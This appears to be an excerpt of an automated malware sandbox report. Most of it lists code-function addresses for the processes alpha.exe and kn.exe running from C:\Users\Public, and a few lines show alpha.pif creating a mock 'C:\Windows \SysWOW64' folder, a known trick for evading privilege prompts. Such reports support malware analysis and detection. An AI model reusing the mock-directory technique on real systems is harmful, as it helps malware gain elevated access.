            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF54224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,SetConsoleMode,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList,4_2_00007FF78CF54224
            Source: C:\Users\Public\alpha.pifFile created: C:\Windows
            Source: C:\Users\Public\alpha.pifFile created: C:\Windows \SysWOW64
            Source: C:\Users\Public\alpha.pifFile deleted: C:\Windows \SysWOW64
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF542244_2_00007FF78CF54224
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4AA544_2_00007FF78CF4AA54
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF50A6C4_2_00007FF78CF50A6C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF555544_2_00007FF78CF55554
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF537D84_2_00007FF78CF537D8
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF422204_2_00007FF78CF42220
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF44A304_2_00007FF78CF44A30
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6AA304_2_00007FF78CF6AA30
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF452404_2_00007FF78CF45240
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF476504_2_00007FF78CF47650
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4D2504_2_00007FF78CF4D250
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF49E504_2_00007FF78CF49E50
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4E6804_2_00007FF78CF4E680
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6EE884_2_00007FF78CF6EE88
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF46EE44_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF67F004_2_00007FF78CF67F00
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF47D304_2_00007FF78CF47D30
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF715384_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF481D44_2_00007FF78CF481D4
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6D9D04_2_00007FF78CF6D9D0
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF48DF84_2_00007FF78CF48DF8
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4CE104_2_00007FF78CF4CE10
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF42C484_2_00007FF78CF42C48
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6AC4C4_2_00007FF78CF6AC4C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF578544_2_00007FF78CF57854
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF418844_2_00007FF78CF41884
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF518D44_2_00007FF78CF518D4
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4B0D84_2_00007FF78CF4B0D8
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF485104_2_00007FF78CF48510
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4372C4_2_00007FF78CF4372C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF49B504_2_00007FF78CF49B50
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF45B704_2_00007FF78CF45B70
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF43F904_2_00007FF78CF43F90
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6AFBC4_2_00007FF78CF6AFBC
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF46BE04_2_00007FF78CF46BE0
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF434104_2_00007FF78CF43410
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF542246_2_00007FF78CF54224
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF4AA546_2_00007FF78CF4AA54
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF50A6C6_2_00007FF78CF50A6C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF555546_2_00007FF78CF55554
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF537D86_2_00007FF78CF537D8
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF422206_2_00007FF78CF42220
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF44A306_2_00007FF78CF44A30
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF6AA306_2_00007FF78CF6AA30
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF452406_2_00007FF78CF45240
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF476506_2_00007FF78CF47650
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF4D2506_2_00007FF78CF4D250
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF49E506_2_00007FF78CF49E50
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF4E6806_2_00007FF78CF4E680
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF6EE886_2_00007FF78CF6EE88
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF46EE46_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF67F006_2_00007FF78CF67F00
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF47D306_2_00007FF78CF47D30
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF715386_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF481D46_2_00007FF78CF481D4
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF6D9D06_2_00007FF78CF6D9D0
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF48DF86_2_00007FF78CF48DF8
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF4CE106_2_00007FF78CF4CE10
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF42C486_2_00007FF78CF42C48
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF6AC4C6_2_00007FF78CF6AC4C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF578546_2_00007FF78CF57854
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF418846_2_00007FF78CF41884
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF518D46_2_00007FF78CF518D4
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF4B0D86_2_00007FF78CF4B0D8
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF485106_2_00007FF78CF48510
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF4372C6_2_00007FF78CF4372C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF49B506_2_00007FF78CF49B50
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF45B706_2_00007FF78CF45B70
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF43F906_2_00007FF78CF43F90
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF6AFBC6_2_00007FF78CF6AFBC
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF46BE06_2_00007FF78CF46BE0
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF434106_2_00007FF78CF43410
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6CCB87_2_00007FF6E3E6CCB8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6F0207_2_00007FF6E3E6F020
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D92F387_2_00007FF6E3D92F38
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E938007_2_00007FF6E3E93800
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6BC107_2_00007FF6E3E6BC10
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6C1207_2_00007FF6E3E6C120
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D8C5207_2_00007FF6E3D8C520
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D944E07_2_00007FF6E3D944E0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0E4F07_2_00007FF6E3E0E4F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E684D87_2_00007FF6E3E684D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF24D47_2_00007FF6E3DF24D4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC64A87_2_00007FF6E3DC64A8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E184887_2_00007FF6E3E18488
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD84847_2_00007FF6E3DD8484
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E604907_2_00007FF6E3E60490
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFA4507_2_00007FF6E3DFA450
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFC4507_2_00007FF6E3DFC450
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E9842F7_2_00007FF6E3E9842F
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D8A4247_2_00007FF6E3D8A424
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6E4307_2_00007FF6E3E6E430
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E084147_2_00007FF6E3E08414
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA44107_2_00007FF6E3DA4410
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E143D07_2_00007FF6E3E143D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DCE3A07_2_00007FF6E3DCE3A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE03987_2_00007FF6E3DE0398
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E163747_2_00007FF6E3E16374
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6234C7_2_00007FF6E3E6234C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDE29C7_2_00007FF6E3DDE29C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF62807_2_00007FF6E3DF6280
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA227C7_2_00007FF6E3DA227C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E642747_2_00007FF6E3E64274
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4821C7_2_00007FF6E3E4821C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E941F87_2_00007FF6E3E941F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0A1E87_2_00007FF6E3E0A1E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDC1D07_2_00007FF6E3DDC1D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D881707_2_00007FF6E3D88170
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA01407_2_00007FF6E3DA0140
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E608C87_2_00007FF6E3E608C8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E648C47_2_00007FF6E3E648C4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E728547_2_00007FF6E3E72854
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0E8447_2_00007FF6E3E0E844
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0C7F07_2_00007FF6E3E0C7F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E307D07_2_00007FF6E3E307D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E027D07_2_00007FF6E3E027D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E767507_2_00007FF6E3E76750
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFC6F87_2_00007FF6E3DFC6F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEC6D07_2_00007FF6E3DEC6D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4C6307_2_00007FF6E3E4C630
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE86307_2_00007FF6E3DE8630
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D905E07_2_00007FF6E3D905E0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E885EC7_2_00007FF6E3E885EC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E785A87_2_00007FF6E3E785A8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD25807_2_00007FF6E3DD2580
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1E57C7_2_00007FF6E3E1E57C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE655C7_2_00007FF6E3DE655C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB85707_2_00007FF6E3DB8570
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E545387_2_00007FF6E3E54538
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE2D187_2_00007FF6E3DE2D18
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD8D2C7_2_00007FF6E3DD8D2C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D98D007_2_00007FF6E3D98D00
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E12CF87_2_00007FF6E3E12CF8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDCD107_2_00007FF6E3DDCD10
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E78CF47_2_00007FF6E3E78CF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1CCA87_2_00007FF6E3E1CCA8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFCC807_2_00007FF6E3DFCC80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8CC8C7_2_00007FF6E3E8CC8C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E58C587_2_00007FF6E3E58C58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD0C287_2_00007FF6E3DD0C28
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DCCBFC7_2_00007FF6E3DCCBFC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D8AC087_2_00007FF6E3D8AC08
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF8BD47_2_00007FF6E3DF8BD4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E36B947_2_00007FF6E3E36B94
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA4B687_2_00007FF6E3DA4B68
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD4B307_2_00007FF6E3DD4B30
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E06A847_2_00007FF6E3E06A84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0EA7C7_2_00007FF6E3E0EA7C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6AA587_2_00007FF6E3E6AA58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E74A587_2_00007FF6E3E74A58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E54A407_2_00007FF6E3E54A40
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0AA007_2_00007FF6E3E0AA00
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5A9F07_2_00007FF6E3E5A9F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEE9F07_2_00007FF6E3DEE9F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE09EC7_2_00007FF6E3DE09EC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE69847_2_00007FF6E3DE6984
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD89907_2_00007FF6E3DD8990
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D829407_2_00007FF6E3D82940
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4511C7_2_00007FF6E3E4511C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9B09C7_2_00007FF6E3D9B09C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC107C7_2_00007FF6E3DC107C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDD0947_2_00007FF6E3DDD094
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D810307_2_00007FF6E3D81030
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E24F947_2_00007FF6E3E24F94
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB4F907_2_00007FF6E3DB4F90
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA8F1C7_2_00007FF6E3DA8F1C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D86EF47_2_00007FF6E3D86EF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBEED47_2_00007FF6E3DBEED4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E68EAC7_2_00007FF6E3E68EAC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E64E587_2_00007FF6E3E64E58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAEDA47_2_00007FF6E3DAEDA4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF6D7C7_2_00007FF6E3DF6D7C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E62D6C7_2_00007FF6E3E62D6C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFF5207_2_00007FF6E3DFF520
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E514F07_2_00007FF6E3E514F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA54A07_2_00007FF6E3DA54A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E794A87_2_00007FF6E3E794A8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E394947_2_00007FF6E3E39494
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE74787_2_00007FF6E3DE7478
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2D4607_2_00007FF6E3E2D460
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D854387_2_00007FF6E3D85438
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DCD4407_2_00007FF6E3DCD440
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DCF4347_2_00007FF6E3DCF434
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D873F87_2_00007FF6E3D873F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFD4107_2_00007FF6E3DFD410
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E833D47_2_00007FF6E3E833D4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E733D07_2_00007FF6E3E733D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E6B3AC7_2_00007FF6E3E6B3AC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAB36C7_2_00007FF6E3DAB36C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB73407_2_00007FF6E3DB7340
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E153187_2_00007FF6E3E15318
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF92D87_2_00007FF6E3DF92D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE92C47_2_00007FF6E3DE92C4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D8F2C07_2_00007FF6E3D8F2C0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDD2C07_2_00007FF6E3DDD2C0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5D2B47_2_00007FF6E3E5D2B4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E352907_2_00007FF6E3E35290
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD31E07_2_00007FF6E3DD31E0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9D1B87_2_00007FF6E3D9D1B8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD11C87_2_00007FF6E3DD11C8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0F1687_2_00007FF6E3E0F168
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD58CC7_2_00007FF6E3DD58CC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE78907_2_00007FF6E3DE7890
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E538747_2_00007FF6E3E53874
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1D8587_2_00007FF6E3E1D858
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1184C7_2_00007FF6E3E1184C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA18307_2_00007FF6E3DA1830
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E338207_2_00007FF6E3E33820
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9F8007_2_00007FF6E3D9F800
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DED7F07_2_00007FF6E3DED7F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC17D47_2_00007FF6E3DC17D4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF77C87_2_00007FF6E3DF77C8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD97907_2_00007FF6E3DD9790
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9B7887_2_00007FF6E3D9B788
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E037607_2_00007FF6E3E03760
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0F6D87_2_00007FF6E3E0F6D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5D6DC7_2_00007FF6E3E5D6DC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD76B07_2_00007FF6E3DD76B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3D6A07_2_00007FF6E3E3D6A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E376787_2_00007FF6E3E37678
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E676787_2_00007FF6E3E67678
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAD6607_2_00007FF6E3DAD660
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E556607_2_00007FF6E3E55660
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E636387_2_00007FF6E3E63638
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC56487_2_00007FF6E3DC5648
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D8F6107_2_00007FF6E3D8F610
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E095FC7_2_00007FF6E3E095FC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE55F07_2_00007FF6E3DE55F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBB58C7_2_00007FF6E3DBB58C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E595807_2_00007FF6E3E59580
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB156C7_2_00007FF6E3DB156C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBDD207_2_00007FF6E3DBDD20
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D95D087_2_00007FF6E3D95D08
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDBCE87_2_00007FF6E3DDBCE8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB9CD07_2_00007FF6E3DB9CD0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E49CC07_2_00007FF6E3E49CC0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9BCA47_2_00007FF6E3D9BCA4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8FC907_2_00007FF6E3E8FC90
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E01C907_2_00007FF6E3E01C90
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD3C607_2_00007FF6E3DD3C60
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBFC207_2_00007FF6E3DBFC20
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDFC347_2_00007FF6E3DDFC34
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E33C107_2_00007FF6E3E33C10
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEDBF07_2_00007FF6E3DEDBF0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA9BC87_2_00007FF6E3DA9BC8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D85BA47_2_00007FF6E3D85BA4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF1B847_2_00007FF6E3DF1B84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D8FB847_2_00007FF6E3D8FB84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E17B747_2_00007FF6E3E17B74
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2FB507_2_00007FF6E3E2FB50
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4BB287_2_00007FF6E3E4BB28
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE7AC87_2_00007FF6E3DE7AC8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D97AB47_2_00007FF6E3D97AB4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD1A607_2_00007FF6E3DD1A60
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E39A587_2_00007FF6E3E39A58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB3A407_2_00007FF6E3DB3A40
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFBA487_2_00007FF6E3DFBA48
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D81A107_2_00007FF6E3D81A10
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAF9B87_2_00007FF6E3DAF9B8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E019AC7_2_00007FF6E3E019AC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0F9907_2_00007FF6E3E0F990
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E7994C7_2_00007FF6E3E7994C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E779387_2_00007FF6E3E77938
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEC0B87_2_00007FF6E3DEC0B8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB80807_2_00007FF6E3DB8080
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E520847_2_00007FF6E3E52084
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE80187_2_00007FF6E3DE8018
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E39FF87_2_00007FF6E3E39FF8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D81F807_2_00007FF6E3D81F80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E15F047_2_00007FF6E3E15F04
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E09EE47_2_00007FF6E3E09EE4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD1ED07_2_00007FF6E3DD1ED0
